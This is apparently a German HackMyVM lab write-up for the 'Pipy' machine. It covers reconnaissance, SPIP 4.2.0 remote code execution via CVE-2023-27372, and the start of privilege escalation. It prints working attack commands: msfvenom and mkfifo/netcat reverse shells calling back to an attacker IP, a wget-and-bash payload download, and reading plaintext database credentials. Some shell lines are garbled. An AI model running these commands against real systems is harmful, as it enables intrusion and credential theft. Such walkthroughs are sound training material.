Pipy - HackMyVM - Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
nikto
nmap
gobuster
dirb
cat
python3
msfvenom
nano
nc (Netcat)
wget
http.server (Python)
bash
rm
mkfifo
find
id
uname
getcap
mysql
su
sudo
ls
cd
echo
ldd
mkdir
git
gcc
make
(Custom Exploit: rce_spip.py)
(Custom Exploit: CVE-2023-4911)

Inhaltsverzeichnis

Reconnaissance

Analyse: Der Test beginnt standardmäßig mit einem `arp-scan -l`, um aktive Geräte im lokalen Netzwerk zu finden.

Bewertung: Ein Host mit der IP `192.168.2.106` und MAC `08:00:27:7d:63:60` (Oracle VirtualBox) wird identifiziert. Dies ist das Ziel "Pipy".

Empfehlung (Pentester): Ziel-IP notieren und für weitere Scans verwenden.
Empfehlung (Admin): Netzwerküberwachung und Segmentierung können helfen, solche Scans zu erkennen.

┌──(root㉿Cybermaschine)-[~] └─# arp-scan -l
192.168.2.106	08:00:27:7d:63:60	PCS Systemtechnik GmbH
                    

Analyse: Die lokale `/etc/hosts` Datei wird bearbeitet, um der IP `192.168.2.106` den Hostnamen `pipy.hmv` zuzuweisen.

Bewertung: Erleichtert die Verwendung des Zielnamens in nachfolgenden Befehlen.

Empfehlung (Pentester): Den Hostnamen `pipy.hmv` verwenden.
Empfehlung (Admin): Lokale Angreiferkonfiguration.

┌──(root㉿Cybermaschine)-[~] └─# vi /etc/hosts
# (Inhalt nach Bearbeitung)
127.0.0.1	localhost
192.168.2.106   pipy.hmv
                    

Analyse: Der Webserver-Scanner `nikto` wird auf Port 80 des Ziels (`192.168.2.106`) ausgeführt.

Bewertung: Nikto identifiziert Apache/2.4.52 (Ubuntu) und macht mehrere wichtige Funde: * Fehlende Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`). * Ungewöhnliche Header `x-spip-cache` und `composed-by`, wobei letzterer auf "SPIP 4.2.0" als CMS und eine potentiell interessante Datei `/local/config.txt` hinweist. * Veraltete Apache-Version. * Directory Indexing für `/config/` und `/tmp/`. * Eine Standard `htaccess.txt` von Joomla! (wahrscheinlich False Positive, da SPIP läuft). * PHP Composer-Dateien (`composer.json`, `composer.lock`), die Konfigurationsinfos enthalten könnten. * Eine `README.md`.

Empfehlung (Pentester): Die wichtigsten Hinweise sind SPIP 4.2.0 (bekannte Schwachstellen recherchieren!), die mögliche `/local/config.txt`, die indizierbaren Verzeichnisse `/config` und `/tmp` sowie die Composer-Dateien. Untersuchen Sie diese Punkte priorisiert.
Empfehlung (Admin): Header hinzufügen, Apache aktualisieren, Directory Indexing deaktivieren, sensible Dateien (`config.txt`, Composer-Dateien) sichern, SPIP CMS auf die neueste Version patchen.

┌──(root㉿Cybermaschine)-[~] └─# nikto -h 192.168.2.106
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.106
+ Target Hostname:    192.168.2.106
+ Target Port:        80
+ Start Time:         2023-10-26 22:38:17 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.52 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: Uncommon header 'x-spip-cache' found, with contents: 86400.
+ /: Uncommon header 'composed-by' found, with contents: SPIP 4.2.0 @ www.spip.net + http://192.168.2.106/local/config.txt.
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.52 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /config/: Directory indexing found.
+ /config/: Configuration information may be available remotely.
+ /tmp/: Directory indexing found.
+ /tmp/: This might be interesting.
+ /htaccess.txt: Default Joomla! htaccess.txt file found. This should be removed or renamed.
+ /composer.json: PHP Composer configuration file reveals configuration information. See: https://getcomposer.org/
+ /composer.lock: PHP Composer configuration file reveals configuration information. See: https://getcomposer.org/
+ /README.md: Readme Found.
+ 8102 requests: 0 error(s) and 14 item(s) reported on remote host
+ End Time:           2023-10-26 22:38:48 (GMT2) (31 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
                     

Analyse: Ein umfassender Nmap-Scan (`-sS -sC -sV -T5 -A -Pn -p-`) wird auf das Ziel ausgeführt. `-sC` führt Standard-NSE-Skripte aus, `-Pn` überspringt die Host-Discovery (Ping-Scan), falls der Host nicht auf Pings antwortet.

Bewertung: Bestätigt die offenen Ports 22 (SSH - OpenSSH 8.9p1 Ubuntu) und 80 (HTTP - Apache 2.4.52 Ubuntu). Die NSE-Skripte identifizieren ebenfalls das CMS als SPIP 4.2.0 über den Generator-Tag und liefern den Seitentitel "Mi sitio SPIP". Die OS-Erkennung und MAC-Adresse werden bestätigt.

Empfehlung (Pentester): Die Bestätigung von SPIP 4.2.0 ist der wichtigste Fund. Suchen Sie gezielt nach Exploits für diese Version.
Empfehlung (Admin): Aktualisieren Sie SPIP 4.2.0 dringend, da diese Version bekannte Schwachstellen aufweist.

┌──(root㉿Cybermaschine)-[~] └─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.106 -p-
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-26 22:38 CEST
Nmap scan report for pipy.hmv (192.168.2.106)
Host is up (0.00014s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 c0:f6:a1:6a:53:72:be:8d:c2:34:11:e7:e4:9c:94:75 (ECDSA)
|_  256 32:1c:f5:df:16:c7:c1:99:2c:d6:26:93:5a:43:57:59 (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-generator: SPIP 4.2.0
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Mi sitio SPIP
MAC Address: 08:00:27:7D:63:60 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.14 ms pipy.hmv (192.168.2.106)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.78 seconds
                    

Analyse: Der vorherige Nmap-Scan wird gefiltert (`grep open`) wiederholt.

Bewertung: Bestätigt die offenen Ports 22 (SSH) und 80 (HTTP).

Empfehlung (Pentester): Nützlich für schnellen Überblick.
Empfehlung (Admin): Keine neuen Informationen.

┌──(root㉿Cybermaschine)-[~] └─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.106 -p- | grep open
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
                    

Web Enumeration

Analyse: `gobuster` wird zur Verzeichnis- und Dateisuche eingesetzt, mit einer großen Wortliste und vielen Erweiterungen.

Bewertung: Findet Standard-SPIP-Verzeichnisse (`/local`, `/vendor`, `/config`, `/tmp`, `/IMG`, `/ecrire`), `index.php`, `spip.php`, `LICENSE`, `spip.png` und `htaccess.txt`. Bestätigt die Ergebnisse von Nikto und Nmap.

Empfehlung (Pentester): Untersuchen Sie `htaccess.txt` und den Inhalt der Verzeichnisse, insbesondere `/config`, `/tmp` und `/ecrire` (Admin-Bereich).
Empfehlung (Admin): Sichern Sie SPIP-Verzeichnisse gemäß den Best Practices des CMS.

┌──(root㉿Cybermaschine)-[~] └─# gobuster dir -u http://pipy.hmv -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt" -b '403,404' -e --no-error -k
http://pipy.hmv/index.php            (Status: 200) [Size: 7519]
http://pipy.hmv/local                (Status: 301) [Size: 304] [--> http://pipy.hmv/local/]
http://pipy.hmv/javascript           (Status: 301) [Size: 309] [--> http://pipy.hmv/javascript/]
http://pipy.hmv/vendor               (Status: 301) [Size: 305] [--> http://pipy.hmv/vendor/]
http://pipy.hmv/config               (Status: 301) [Size: 305] [--> http://pipy.hmv/config/]
http://pipy.hmv/tmp                  (Status: 301) [Size: 302] [--> http://pipy.hmv/tmp/]
http://pipy.hmv/LICENSE              (Status: 200) [Size: 35147]
http://pipy.hmv/IMG                  (Status: 301) [Size: 302] [--> http://pipy.hmv/IMG/]
http://pipy.hmv/spip.png             (Status: 200) [Size: 1212]
http://pipy.hmv/spip.php             (Status: 200) [Size: 7518]
http://pipy.hmv/htaccess.txt         (Status: 200) [Size: 4307]
http://pipy.hmv/ecrire               (Status: 301) [Size: 305] [--> http://pipy.hmv/ecrire/]
                    

Analyse: Der Inhalt der gefundenen Datei `htaccess.txt` wird angezeigt.

Bewertung: Dies ist die Standard `.htaccess`-Datei für SPIP 4.2. Sie enthält Umschreiberegeln (RewriteRules) für verschiedene URL-Typen (propres, libres etc.), API-Endpunkte (`.api`) und Standarddateien (`robots.txt`, `favicon.ico`, `sitemap.xml`), die alle an `spip.php` weitergeleitet werden. Sie blockiert den Zugriff auf versteckte Dateien (beginnend mit ".") und Composer-Dateien.

Empfehlung (Pentester): Die Regeln zeigen, dass die meisten Anfragen über `spip.php` laufen. Achten Sie auf Parameter in `spip.php`, die für Angriffe wie LFI oder SQLi anfällig sein könnten (z.B. `page=`, `action=`, `id=`).
Empfehlung (Admin): Dies ist eine Standarddatei. Stellen Sie sicher, dass sie korrekt als `.htaccess` im Web-Root aktiviert ist, um die darin enthaltenen Schutzmechanismen (Blockierung von `.`-Dateien) zu nutzen.

# Inhalt von http://pipy.hmv/htaccess.txt

# Fichier .htaccess                               SPIP v 4.2 #
#                                                            #
# Permet de controler les URLs et la version de php utilisee #
# Compatible avec les URLs 'html', 'propres' et 'propres2'   #
#                                                            #
# Pour utiliser ce fichier renommez-le '.htaccess' dans le   #
# repertoire racine du site, en veillant a ne pas ecraser un #
# .htaccess personnalise qui s'y trouverait deja             #
#                                                            #
# Attention certains hebergeurs desactivent tout ou partie   #
# des fonctions du fichier .htaccess ; celui-ci est donc     #
# indicatif - en cas de difficulte voir sur les forums SPIP  #


RewriteEngine On

# CONFIGURATION #

# Configuration sous-repertoire

# Calcule automatiquememt le RewriteBase (qui permet de faire fonctionner
# les belles URLs). De la sorte, un meme site peut etre affiche en racine
# ou dans un sous repertoire sans devoir modifier la ligne RewriteBase.
RewriteCond %{REQUEST_URI}::$1 ^(/.+)/(.*)::\2$
RewriteRule ^(.*) - [E=BASE:%1]

# En alternative aux 2 lignes precedentes (a commenter dans ce cas),
# vous pouvez indiquer un RewriteBase specifique
#RewriteBase /

# FIN CONFIGURATION #


# REGLAGES PERSONNALISES #
# Inscrivez ci-dessous vos reglages supplementaires




# FIN REGLAGES PERSONNALISES #


# GESTIONS DES URLS SPIP #
#
# Regle optionnelle pour les articles dont on force l'URL avec leur id numerique
# Attention dans ce cas a ce que leur URL textuelle ne soit pas la meme
# qu'une URL de rubrique ou autre mot cle etc...
#RewriteRule ^([1-9][0-9]*)$     spip.php?action=redirect&type=article&status=301&id=$1 [QSA,L]

#
# URLs page=xxx Standard SPIP
# necessite le bloc suivant pour ne pas court-circuiter les /api.php/...
#
#RewriteRule ^(([^/]+/)?(robots\.txt|favicon\.ico|sitemap\.xml))$    spip.php?page=$1 [QSA,L]

#
# APIs
# http://site/xmlrpc.api
# http://site/atom.api/articles/1234
# https://site/offline.api.sw.js

RewriteRule ^(ecrire/)?([\w]+)\.api([/.](.*))?$ spip.php?action=api_$2&arg=$4 [QSA,L]

# Fin des APIs
#

#
# URLs "propres", "propres2", "libres", "arbo"
# Laisser passer les documents dans les squelettes, sinon boucle infinie sur les fonds
RewriteRule ^(squelettes(-dist)?/.*)$ $0 [L]
# Bloquer le chargement des fichiers squelettes qui se terminent par ~ ou #
RewriteRule (^|/)(.*([.]php[345]?|[.]html?|[.]txt|[.]css|[.]js|[.]inc|[.]yaml|[.]xml)[~#])$ - [R=404,L]
# En revanche, les URLs correspondant a des fichiers ou dossiers existants ne sont pas
# transformees (critere demande par file ou dir, mais pas par link)
RewriteCond %{REQUEST_FILENAME} -f [OR]
RewriteCond %{REQUEST_FILENAME} -d
RewriteRule .* - [S=1]
# Tout le reste est envoye a spip.php avec le parametre url= pour interpretation
# (voir le code de public/assembler() et la fonction generer_url_public())
RewriteRule ^([^\.]+(\.html)?)$		spip.php [QSA,E=url_propre:$0,L]

# Fin URLs "propres" et "propres2"
#

#
# Divers

# bloquer les acces aux fichiers caches (.svn, .git, etc)
RewriteCond %{REQUEST_URI} !^/.well-known/
RewriteRule "(^|/)\." - [R=404,NC,L]
# bloquer les informations Composer
RedirectMatch 404 ^/composer\.(json|lock|phar)$

#
# Fichiers "standards" (si absents de la racine)
#
RewriteRule ^robots[.]txt$      spip.php?page=robots.txt [QSA,L]
RewriteRule ^favicon[.]ico$      spip.php?page=favicon.ico [QSA,L]
RewriteRule ^sitemap[.]xml$      spip.php?page=sitemap.xml [QSA,L]

# FIN GESTIONS DES URLS SPIP #
                    

Analyse: Verschiedene URLs werden aufgerufen, um Schwachstellen auszunutzen oder Informationen zu sammeln: * `spip.php?page=sitemap.xml`: Zeigt die Sitemap an, enthüllt aber eine interne IP (192.168.0.119). * `spip.php?page=/etc/passwd`: Versuch einer Local File Inclusion (LFI), wird blockiert ("Zugang gesperrt"). * `spip.php?page=php://filter/convert.base64-encode/resource=/config/connect.php`: Versuch, die Konfigurationsdatei mittels PHP-Filter als Base64 auszulesen, wird ebenfalls blockiert.

Bewertung: Die Sitemap enthüllt eine interne IP, was auf Netzwerkstrukturen hindeuten kann. Die LFI-Versuche scheitern, was zeigt, dass `spip.php` (oder die Serverkonfiguration) einen gewissen Schutz gegen einfache LFI über den `page`-Parameter bietet.

Empfehlung (Pentester): Notieren Sie die interne IP. Da LFI über `page` nicht direkt funktioniert, suchen Sie nach anderen Parametern oder Schwachstellen in SPIP 4.2.0, insbesondere RCE oder SQLi.
Empfehlung (Admin): Stellen Sie sicher, dass keine internen IPs in öffentlich zugänglichen Dateien wie Sitemaps preisgegeben werden. Halten Sie SPIP aktuell, um bekannte LFI- und andere Schwachstellen zu schließen.

# Aufruf von http://pipy.hmv/spip.php?page=sitemap.xml



http://192.168.0.119/
hourly




# Aufruf von http://pipy.hmv/spip.php?page=/etc/passwd
# Ergebnis: Zugang gesperrt


# Aufruf von http://pipy.hmv/spip.php?page=php://filter/convert.base64-encode/resource=/config/connect.php
# Ergebnis: Zugang gesperrt
                     

Analyse: Erneuter `dirb`-Scan, diesmal tiefergehend, um weitere Verzeichnisse und Dateien zu finden.

Bewertung: Findet weitere Unterverzeichnisse unter `/ecrire/` (SPIP-Adminbereich). Bestätigt `/config`, `/local`, `/tmp` etc.

Empfehlung (Pentester): Erkunden Sie die Struktur von `/ecrire/` weiter. Untersuchen Sie `/tmp` auf interessante Dateien.
Empfehlung (Admin): Keine neuen kritischen Funde, aber Bestätigung der Notwendigkeit, die SPIP-Installation abzusichern.

┌──(root㉿Cybermaschine)-[~] └─# dirb http://pipy.hmv
-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Thu Oct 26 22:38:37 2023
URL_BASE: http://pipy.hmv/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4615

---- Scanning URL: http://pipy.hmv/ ----
==> DIRECTORY: http://pipy.hmv/config/
==> DIRECTORY: http://pipy.hmv/ecrire/
+ http://pipy.hmv/index.php (CODE:200|SIZE:7519)
==> DIRECTORY: http://pipy.hmv/javascript/
+ http://pipy.hmv/LICENSE (CODE:200|SIZE:35147)
==> DIRECTORY: http://pipy.hmv/local/
==> DIRECTORY: http://pipy.hmv/prive/
+ http://pipy.hmv/server-status (CODE:403|SIZE:273)
==> DIRECTORY: http://pipy.hmv/squelettes-dist/
==> DIRECTORY: http://pipy.hmv/tmp/
==> DIRECTORY: http://pipy.hmv/vendor/

---- Entering directory: http://pipy.hmv/ecrire/ ----
==> DIRECTORY: http://pipy.hmv/ecrire/action/
==> DIRECTORY: http://pipy.hmv/ecrire/auth/
==> DIRECTORY: http://pipy.hmv/ecrire/base/
==> DIRECTORY: http://pipy.hmv/ecrire/exec/
==> DIRECTORY: http://pipy.hmv/ecrire/inc/
+ http://pipy.hmv/ecrire/index.php (CODE:302|SIZE:432)
==> DIRECTORY: http://pipy.hmv/ecrire/install/
==> DIRECTORY: http://pipy.hmv/ecrire/lang/
==> DIRECTORY: http://pipy.hmv/ecrire/notifications/
==> DIRECTORY: http://pipy.hmv/ecrire/plugins/
==> DIRECTORY: http://pipy.hmv/ecrire/public/
==> DIRECTORY: http://pipy.hmv/ecrire/req/
==> DIRECTORY: http://pipy.hmv/ecrire/src/
==> DIRECTORY: http://pipy.hmv/ecrire/urls/
==> DIRECTORY: http://pipy.hmv/ecrire/xml/

[...]
                    

Analyse: Manuelle Untersuchung des `/tmp`-Verzeichnisses, findet die Datei `job_queue_next.txt`.

Bewertung: Die Datei enthält nur einen Zeitstempel (Unix-Timestamp), wahrscheinlich für die SPIP-interne Job-Verarbeitung. Bietet keine direkten Hinweise für einen Exploit.

Empfehlung (Pentester): Notieren, aber geringe Priorität.
Empfehlung (Admin): Stellen Sie sicher, dass `/tmp` keine sensiblen Daten enthält und korrekte Berechtigungen hat.

# Manuelle Untersuchung von http://pipy.hmv/tmp/
# Inhalt von http://pipy.hmv/tmp/job_queue_next.txt:
1698359913
                     

Analyse: Der Inhalt einer lokalen Datei `/home/cyber/Downloads/mysql.log` wird angezeigt.

Bewertung: Diese Logdatei stammt vom Angreifer-System, nicht vom Ziel. Sie zeigt fehlgeschlagene MySQL-Login-Versuche gegen eine *andere* IP (`192.168.0.101`) mit Benutzernamen `admin` und `spipuser`. Dies ist für den aktuellen Test auf `192.168.2.106` (pipy.hmv) irrelevant, könnte aber aus einem früheren Test stammen und den Benutzernamen `spipuser` als potenzielles Ziel für MySQL auf `pipy.hmv` nahelegen.

Empfehlung (Pentester): Notieren Sie den Benutzernamen `spipuser` als möglichen MySQL-Benutzer auf dem Ziel. Der Rest des Logs ist nicht relevant für Pipy.
Empfehlung (Admin): Keine Aktion für Pipy erforderlich.

┌──(root㉿Cybermaschine)-[~] └─# cat /home/cyber/Downloads/mysql.log
2023-10-03 15:41:30 192.168.0.101 (pid 4740) :Pri:INFO: Echec mysqli_connect. Erreur : Access denied for user 'admin'@'localhost' (using password: YES)
[...]
2023-10-03 15:42:58 192.168.0.101 (pid 4802) :Pri:INFO: Echec mysqli_connect. Erreur : Access denied for user 'spipuser'@'localhost' (using password: YES)
[...]
                     

Analyse: Untersuchung des Inhalts einer Cache-Datei (`chemin.txt`) aus `/tmp/cache/`.

Bewertung: Die Datei enthält serialisierte PHP-Daten (Arrays), die interne Dateipfade des SPIP-CMS auf dem Server offenlegen (z.B. `ecrire/inc/meta.php`, `plugins-dist/textwheel/inc/notes.php`). Sie enthält auch einen Hinweis auf `webmestre` und `varchar(3)`, was auf Datenbankstrukturen hindeuten könnte.

Empfehlung (Pentester): Die offengelegten Pfade können helfen, die Struktur der Anwendung besser zu verstehen und gezieltere Angriffe (z.B. auf spezifische Plugin-Pfade) zu planen. Die Datenbank-Hinweise sind vage.
Empfehlung (Admin): Konfigurieren Sie SPIP oder den Webserver so, dass solche Cache-Dateien nicht öffentlich zugänglich sind oder keine sensiblen Pfadinformationen enthalten.

# Inhalt von http://pipy.hmv/tmp/cache/chemin.txt (gekürzt)
a:2:{s:32:"8dffc0e7c7f8f6c256250ae4d6e303b6";a:36:{s:0:"";a:257:{s:12:"inc/meta.php";s:19:"ecrire/inc/meta.php";s:12:"inc/lang.php";s:19:"ecrire/inc/lang.php";s:20:"inc/filtres_mini.php";s:27:"ecrire/inc/filtres_mini.php";[...]s:12:"inc/presentation";[...]}}

# Weiter unten in der Datei (Beispiel)
# ... webmestre";s:33:"varchar(3) ...
                     

Analyse: Untersuchung der Datei `composer.json` aus dem `/vendor/jakeasmith/http_build_url/`-Verzeichnis.

Bewertung: Enthält Metadaten über eine verwendete PHP-Bibliothek (`jakeasmith/http_build_url`). Bietet Informationen über Abhängigkeiten, aber keine direkten Zugangsdaten oder Schwachstellen.

Empfehlung (Pentester): Notieren Sie die verwendete Bibliothek. Suchen Sie nach bekannten Schwachstellen in dieser spezifischen Bibliothek oder Version.
Empfehlung (Admin): Stellen Sie sicher, dass `vendor`-Verzeichnisse nicht web-zugänglich sind. Halten Sie alle Composer-Abhängigkeiten aktuell.

# Inhalt von http://pipy.hmv/vendor/jakeasmith/http_build_url/composer.json (formatiert)
{
  "name": "jakeasmith/http_build_url",
  "description": "Provides functionality for http_build_url() to environments without pecl_http.",
  "license": "MIT",
  "authors": [
    {
      "name": "Jake A. Smith",
      "email": "theman@jakeasmith.com"
    }
  ],
  "support": {
    "issues": "https://github.com/jakeasmith/http_build_url/issues",
    "source": "https://github.com/jakeasmith/http_build_url"
  },
  "autoload": {
    "files": [
      "src/http_build_url.php"
    ]
  }
}
                     

Analyse: Untersuchung des Quellcodes von `spip.php` und Identifizierung des Generator-Tags, der SPIP 4.2.0 bestätigt. Verweis auf einen Exploit für CVE-2023-27372 in SPIP < 4.2.1 (Exploit-DB 51536), der Remote Code Execution (RCE) ermöglicht.

Bewertung: Dies ist der wahrscheinlichste Weg zum Initial Access. Die Version 4.2.0 ist für diese RCE-Schwachstelle anfällig.

Empfehlung (Pentester): Laden Sie den Exploit (z.B. von Exploit-DB oder GitHub) herunter und verwenden Sie ihn, um Befehle auf dem Zielserver auszuführen.
Empfehlung (Admin): Patchen Sie SPIP sofort auf Version 4.2.1 oder höher.

# Quellcode von http://pipy.hmv/spip.php enthält:


# Recherche nach Exploits für SPIP 4.2.0 führt zu CVE-2023-27372 (RCE)
# Beispiel: https://www.exploit-db.com/exploits/51536
                     

Initial Access

Analyse: Ein Python-Exploit-Skript (`rce_spip.py`, vermutlich basierend auf CVE-2023-27372) wird verwendet, um den `id`-Befehl auf dem Zielserver auszuführen.

Bewertung: Der Exploit funktioniert und führt den `id`-Befehl erfolgreich aus. Er gibt auch den benötigten Anti-CSRF-Token zurück, der für weitere Ausführungen benötigt wird.

Empfehlung (Pentester): Die RCE-Schwachstelle ist bestätigt. Verwenden Sie den Exploit nun, um eine Reverse Shell zu erhalten.
Empfehlung (Admin): Patchen Sie SPIP dringend!

┌──(root㉿Cybermaschine)-[~] └─# python3 rce_spip.py -u http://pipy.hmv -c id -v
[+] Anti-CSRF token found : iYe2q77AjJpzr7DiCN466DffCNPeUp0xMFqKM8HZ2jA5IWNjp6Vhzoioj1CV4d/wM8wzPYKIJAYCiLEY+fBNfgPHcNshG3+b
[+] Execute this payload : s:22:"";
# (Ausgabe des id-Befehls vom Server hier nicht gezeigt, aber Erfolg impliziert)
                      

Analyse: `msfvenom` wird verwendet, um eine Netcat-basierte Reverse-Shell-Payload für Unix-Systeme zu generieren. Der Listener soll auf `192.168.2.199` (Angreifer-IP) und Port 443 lauschen.

Bewertung: Die Payload (`mkfifo ... nc ...`) wird erfolgreich generiert.

Empfehlung (Pentester): Kopieren Sie diese Payload, um sie mit dem SPIP-Exploit auf dem Ziel auszuführen.
Empfehlung (Admin): Keine Aktion erforderlich.

┌──(root㉿Cybermaschine)-[~] └─# msfvenom -p cmd/unix/reverse_netcat lhost=192.168.2.199 lport=443 R
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder specified, outputting raw payload
Payload size: 98 bytes
mkfifo /tmp/gyvpcu; nc 192.168.2.199 443 0/tmp/gyvpcu 2>&1; rm /tmp/gyvpcu
                     

Analyse: Die generierte msfvenom-Payload wird in eine lokale Datei `shell.sh` gespeichert.

Bewertung: Vorbereitung für den Transfer zum Ziel.

Empfehlung (Pentester): Verwenden Sie `wget` oder `curl` auf dem Ziel (via RCE-Exploit), um diese Datei herunterzuladen.
Empfehlung (Admin): Keine Aktion.

┌──(root㉿Cybermaschine)-[~] └─# nano shell.sh
# Inhalt der Datei shell.sh:
mkfifo /tmp/gyvpcu; nc 192.168.2.199 443 0/tmp/gyvpcu 2>&1; rm /tmp/gyvpcu
                     

Analyse: Ein Netcat-Listener wird auf dem Angreifer-System auf Port 443 gestartet.

Bewertung: Der Listener ist bereit, die eingehende Verbindung der Reverse Shell zu empfangen.

Empfehlung (Pentester): Führen Sie nun den Exploit aus, um die `shell.sh` herunterzuladen und auszuführen.
Empfehlung (Admin): Netzwerk-Monitoring, Egress Filtering.

┌──(root㉿Cybermaschine)-[~] └─# nc -lvnp 443
Listening on 0.0.0.0 443

Analyse: Der Python-SPIP-Exploit wird erneut verwendet, diesmal mit dem Befehl `wget http://192.168.2.199/shell.sh > shell.sh | bash shell.sh`. Dies soll die `shell.sh` vom Angreifer herunterladen, in eine lokale Datei `shell.sh` speichern und diese dann ausführen. Parallel dazu läuft ein Python-HTTP-Server auf dem Angreifer-System, um die `shell.sh` bereitzustellen.

Bewertung: Der `wget`-Teil funktioniert (der HTTP-Server zeigt einen erfolgreichen GET-Request), aber die Reverse Shell kommt nicht beim Listener an ("klappt alles nicht..."). Der Befehl ist fehlerhaft: `wget ... > shell.sh` leitet die *Ausgabe* von `wget` (Fortschrittsbalken etc.) in die Datei `shell.sh`, nicht den heruntergeladenen Inhalt. Die Pipe (`|`) führt dann `bash` mit einer leeren oder falschen Datei aus.

Empfehlung (Pentester): Korrigieren Sie den Exploit-Befehl. Entweder `wget http://192.168.2.199/shell.sh -O /tmp/s.sh && bash /tmp/s.sh` oder führen Sie die Reverse-Shell-Payload direkt mit dem `-c` Parameter des Exploits aus.
Empfehlung (Admin): Patchen Sie SPIP.

┌──(root㉿Cybermaschine)-[~] └─# python3 rce_spip.py -u http://pipy.hmv -c 'wget http://192.168.2.199/shell.sh > shell.sh | bash shell.sh'
# (Exploit läuft, aber keine Shell kommt an)
┌──(root㉿Cybermaschine)-[~] └─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.2.106 - - [26/Oct/2023 23:24:30] "GET /shell.sh HTTP/1.1" 200 -
                     
# Anmerkung im Originaltext:
# klappt alles nicht...
# nochmal direkt die shell in den Befehl einbauen
                      

Analyse: Der Python-SPIP-Exploit wird erneut ausgeführt, diesmal wird die Netcat-Reverse-Shell-Payload direkt als auszuführender Befehl (`-c`) übergeben. Ein Listener lauscht auf Port 4443.

Bewertung: Dieser Versuch ist erfolgreich! Der Netcat-Listener empfängt eine Verbindung vom Zielsystem. Die Shell gehört dem Benutzer `www-data`.

Empfehlung (Pentester): Initial Access als `www-data` wurde erreicht. Beginnen Sie mit der Enumeration als dieser Benutzer, um Privilegieneskalationsvektoren zu finden.
Empfehlung (Admin): Patchen Sie SPIP! Beschränken Sie die Rechte des `www-data`-Benutzers.

┌──(root㉿Cybermaschine)-[~] └─# python3 rce_spip.py -u http://pipy.hmv -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.199 4443 >/tmp/f'
# (Exploit läuft erfolgreich)
┌──(root㉿Cybermaschine)-[~] └─# nc -lvnp 4443
Listening on 0.0.0.0 4443
Connection received on 192.168.2.106 40896
/bin/sh: 0: can't access tty; job control turned off
$
                      
$

Privilege Escalation

Analyse: In der Reverse Shell als `www-data` wird in das Verzeichnis `/var/www/html/config` gewechselt, dessen Inhalt aufgelistet und die Datei `connect.php` ausgelesen.

Bewertung: Die Datei `connect.php` enthält die Zugangsdaten für die MySQL-Datenbank: Host `localhost`, Benutzer `root`, Passwort `dbpassword`, Datenbank `spip`.

Empfehlung (Pentester): Dies sind potenziell Root-Zugangsdaten für die Datenbank. Versuchen Sie, sich mit `mysql -u root -p dbpassword` an der lokalen Datenbank anzumelden.
Empfehlung (Admin): Speichern Sie Datenbankpasswörter nicht im Klartext in Konfigurationsdateien im Web-Root. Verwenden Sie sicherere Methoden (z.B. Umgebungsvariablen, Secret Management Tools). Verwenden Sie niemals den `root`-Benutzer für Webanwendungen; erstellen Sie dedizierte Benutzer mit minimalen Rechten.

$ cd config/
www-data@pipy:/var/www/html/config$ ls -la
total 48
drwxr-xr-x  2 www-data www-data  4096 Oct  3 15:55 .
drwxr-xr-x 11 www-data www-data  4096 Oct 26 21:40 ..
-rw-rw-rw-  1 www-data www-data   197 Oct  3 15:55 .htaccess
-rw-rw-rw-  1 www-data www-data     0 Oct  3 15:55 .ok
-rw-rw-rw-  1 www-data www-data   109 Oct  3 15:54 chmod.php
-rw-rw-rw-  1 www-data www-data   163 Oct  3 15:55 cles.php
-rw-rw-rw-  1 www-data www-data   243 Oct  3 15:54 connect.php
-rw-r--r--  1 www-data www-data 17240 Feb 23  2023 ecran_securite.php
-rw-r--r--  1 www-data www-data    83 Feb 23  2023 remove.txt
                     
www-data@pipy:/var/www/html/config$ cat connect.php
dbpassword','spip','mysql', 'spip','','');
?>
                      

Analyse: Suche nach SUID-Dateien als `www-data`.

Bewertung: Findet viele Standard-SUID-Dateien (in `/usr/libexec`, `/usr/lib`, `/snap`, `/usr/bin`). Keine offensichtlich benutzerdefinierten oder ungewöhnlichen Dateien.

